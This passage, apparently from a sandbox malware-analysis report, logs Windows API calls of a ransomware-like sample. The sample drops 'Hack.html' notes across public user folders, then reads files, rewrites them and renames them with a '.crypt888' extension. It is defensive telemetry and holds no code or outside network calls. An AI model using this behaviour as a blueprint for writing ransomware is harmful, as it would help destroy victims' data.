(in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0xffffffff [0091.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed54) returned 1 [0091.625] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Music\\Hack.html", lpFilePart=0x0) returned 0x2c [0091.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0091.625] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Music\\Hack.html" (normalized: "c:\\users\\public\\documents\\my music\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.625] GetFileType (hFile=0x174) returned 0x1 [0091.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0091.626] GetFileType (hFile=0x174) returned 0x1 [0091.626] WriteFile (in: hFile=0x174, lpBuffer=0x27ef1bc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27ef1bc*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0091.626] CloseHandle (hObject=0x174) returned 1 [0091.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0091.627] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures", lpFilePart=0x0) returned 0x25 [0091.627] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures\\", lpFilePart=0x0) returned 0x26 [0091.627] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0xffffffff [0091.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed54) returned 1 [0091.628] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Pictures\\Hack.html", lpFilePart=0x0) returned 0x2f [0091.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0091.628] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\Hack.html" (normalized: "c:\\users\\public\\documents\\my pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.629] GetFileType (hFile=0x174) returned 0x1 [0091.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0091.629] GetFileType (hFile=0x174) returned 0x1 [0091.629] WriteFile (in: hFile=0x174, lpBuffer=0x27f24dc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27f24dc*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0091.630] CloseHandle (hObject=0x174) returned 1 [0091.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0091.630] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0091.630] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos\\", lpFilePart=0x0) returned 0x24 [0091.630] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0xffffffff [0091.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed54) returned 1 [0091.631] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos\\Hack.html", lpFilePart=0x0) returned 0x2d [0091.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0091.631] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Videos\\Hack.html" (normalized: "c:\\users\\public\\documents\\my videos\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.631] GetFileType (hFile=0x174) returned 0x1 [0091.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0091.632] GetFileType (hFile=0x174) returned 0x1 [0091.632] WriteFile (in: hFile=0x174, lpBuffer=0x27f57cc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27f57cc*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0091.633] CloseHandle (hObject=0x174) returned 1 [0091.633] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.633] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\Hack.html" (normalized: "c:\\users\\public\\documents\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.633] GetFileType (hFile=0x174) returned 0x1 [0091.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.633] GetFileType (hFile=0x174) returned 0x1 [0091.634] WriteFile (in: hFile=0x174, lpBuffer=0x27f7f5c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27f7f5c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.635] CloseHandle (hObject=0x174) returned 1 [0091.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.635] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0091.635] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads\\", lpFilePart=0x0) returned 0x1a [0091.635] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0091.635] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.635] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.636] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.636] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0091.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.636] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0091.636] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads\\", lpFilePart=0x0) returned 0x1a [0091.636] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0091.636] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.636] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.636] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.636] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0091.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.637] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.637] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads\\Hack.html" (normalized: "c:\\users\\public\\downloads\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.637] GetFileType (hFile=0x174) returned 0x1 [0091.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.637] GetFileType (hFile=0x174) returned 0x1 [0091.637] WriteFile (in: hFile=0x174, lpBuffer=0x27fb878*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27fb878*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0091.638] CloseHandle (hObject=0x174) returned 1 [0091.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.638] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0091.638] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\", lpFilePart=0x0) returned 0x1a [0091.638] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0091.639] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.639] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.639] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.639] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0091.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.639] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0091.639] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\", lpFilePart=0x0) returned 0x1a [0091.639] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0091.640] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.640] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.640] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.640] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0091.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.640] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0091.641] CreateFileW (lpFileName="C:\\Users\\Public\\Favorites\\Hack.html" (normalized: "c:\\users\\public\\favorites\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.641] GetFileType (hFile=0x174) returned 0x1 [0091.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0091.641] GetFileType (hFile=0x174) returned 0x1 [0091.641] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0091.641] ReadFile (in: hFile=0x174, lpBuffer=0x27fdbf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27fdbf8*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0091.641] CloseHandle (hObject=0x174) returned 1 [0091.690] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0091.691] CreateFileW (lpFileName="C:\\Users\\Public\\Favorites\\Hack.html" (normalized: "c:\\users\\public\\favorites\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.691] GetFileType (hFile=0x174) returned 0x1 [0091.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0091.692] GetFileType (hFile=0x174) returned 0x1 [0091.692] WriteFile (in: hFile=0x174, lpBuffer=0x284bd44*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x284bd44*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0091.692] CloseHandle (hObject=0x174) returned 1 [0091.693] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.693] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2c [0091.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0091.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Favorites\\Hack.html" (normalized: "c:\\users\\public\\favorites\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba37bbe0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba37bbe0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc7d95ba0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0091.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0091.693] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Favorites\\Hack.html" (normalized: "c:\\users\\public\\favorites\\hack.html"), lpNewFileName="C:\\Users\\Public\\Favorites\\Hack.html.crypt888" (normalized: "c:\\users\\public\\favorites\\hack.html.crypt888")) returned 1 [0091.694] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.694] CreateFileW (lpFileName="C:\\Users\\Public\\Favorites\\Hack.html" (normalized: "c:\\users\\public\\favorites\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.694] GetFileType (hFile=0x174) returned 0x1 [0091.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.694] GetFileType (hFile=0x174) returned 0x1 [0091.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.695] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0091.695] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\", lpFilePart=0x0) returned 0x1a [0091.695] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a0a8 [0091.696] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.696] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.696] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.696] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.696] FindClose (in: hFindFile=0x59a0a8 | out: hFindFile=0x59a0a8) returned 1 [0091.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.697] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0091.697] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\", lpFilePart=0x0) returned 0x1a [0091.697] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a0a8 [0091.697] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.697] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.697] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.697] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.697] FindClose (in: hFindFile=0x59a0a8 | out: hFindFile=0x59a0a8) returned 1 [0091.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.697] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\Hack.html", lpFilePart=0x0) returned 0x23 [0091.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.698] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\Hack.html" (normalized: "c:\\users\\public\\libraries\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.698] GetFileType (hFile=0x174) returned 0x1 [0091.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.698] GetFileType (hFile=0x174) returned 0x1 [0091.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.699] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0091.699] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\", lpFilePart=0x0) returned 0x16 [0091.699] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a0a8 [0091.699] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.699] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.700] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.700] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.700] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.700] FindClose (in: hFindFile=0x59a0a8 | out: hFindFile=0x59a0a8) returned 1 [0091.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.700] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music", lpFilePart=0x0) returned 0x15 [0091.700] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\", lpFilePart=0x0) returned 0x16 [0091.700] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a0a8 [0091.701] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.701] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.701] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.701] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.701] FindNextFileW (in: hFindFile=0x59a0a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.701] FindClose (in: hFindFile=0x59a0a8 | out: hFindFile=0x59a0a8) returned 1 [0091.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.701] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Hack.html", lpFilePart=0x0) returned 0x1f [0091.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0091.701] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Hack.html" (normalized: "c:\\users\\public\\music\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.702] GetFileType (hFile=0x174) returned 0x1 [0091.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0091.702] GetFileType (hFile=0x174) returned 0x1 [0091.702] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0091.702] ReadFile (in: hFile=0x174, lpBuffer=0x2854944, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2854944*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0091.717] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Hack.html", lpFilePart=0x0) returned 0x1f [0091.717] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0091.718] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Hack.html" (normalized: "c:\\users\\public\\music\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.719] GetFileType (hFile=0x174) returned 0x1 [0091.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0091.719] GetFileType (hFile=0x174) returned 0x1 [0091.720] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Hack.html", lpFilePart=0x0) returned 0x1f [0091.720] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Hack.html.crypt888", lpFilePart=0x0) returned 0x28 [0091.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0091.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Hack.html" (normalized: "c:\\users\\public\\music\\hack.html"), 